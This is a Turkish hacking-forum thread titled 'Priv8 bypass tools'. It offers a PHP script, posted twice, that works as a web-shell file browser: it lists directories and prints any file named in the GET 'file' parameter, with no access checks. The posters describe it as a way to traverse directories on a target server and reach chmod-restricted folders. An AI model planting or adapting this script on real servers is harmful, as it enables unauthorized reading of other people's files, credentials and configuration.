Priv8 bypass tools (2 Viewers)

Joined
Feb 28, 2017
Credits
51
Rating - 0%
Selamün aleyküm beyler umarım işinize yarar.Konuyu görmek için yorum atın :p
View hidden content is available for registered users!
Code:
<?php
$root = __DIR__;
$style1='color:#000;';
$style2='color:#00a;font-weight:bold;';

function updir($ADir){
   $ADir = substr($ADir, 0, strlen($ADir)-1);
   $ADir = substr($ADir, 0, strrpos($ADir, '/'));
   return $ADir;
}

if ((isset($_GET['file']))) {

   if (is_file($_GET['file'])) {
       header("Content-type: text/plain");
       readfile($_GET['file']);
       return;
   }

   $path = $_GET['file'].'/';

} else $path = $root.'/';

echo($root.'<br>');
echo($path.'<hr>');
echo '<a href="?file='.updir($path).'">..</a><br />';
$p = $path.'*';
foreach (glob($p) as $file) {
   echo '<a style="'.(is_file($file)?$style1:$style2).'" href="?file='.$file.'">'.basename($file).'</a><br />';
}
echo('<hr>');
Bu şekil hedef sunucudaki dizinleri geçebilir,chmod kapalı dizinlere %80 ihtimalle girebilirsiniz.
 
Joined
May 5, 2019
Credits
132
Rating - 0%
Selamün aleyküm beyler umarım işinize yarar.Konuyu görmek için yorum atın :p
View hidden content is available for registered users!
Code:
<?php
$root = __DIR__;
$style1='color:#000;';
$style2='color:#00a;font-weight:bold;';

function updir($ADir){
   $ADir = substr($ADir, 0, strlen($ADir)-1);
   $ADir = substr($ADir, 0, strrpos($ADir, '/'));
   return $ADir;
}

if ((isset($_GET['file']))) {

   if (is_file($_GET['file'])) {
       header("Content-type: text/plain");
       readfile($_GET['file']);
       return;
   }

   $path = $_GET['file'].'/';

} else $path = $root.'/';

echo($root.'<br>');
echo($path.'<hr>');
echo '<a href="?file='.updir($path).'">..</a><br />';
$p = $path.'*';
foreach (glob($p) as $file) {
   echo '<a style="'.(is_file($file)?$style1:$style2).'" href="?file='.$file.'">'.basename($file).'</a><br />';
}
echo('<hr>');
Bu şekil hedef sunucudaki dizinleri geçebilir,chmod kapalı dizinlere %80 ihtimalle girebilirsiniz.
es
 

Users who are viewing this thread

Top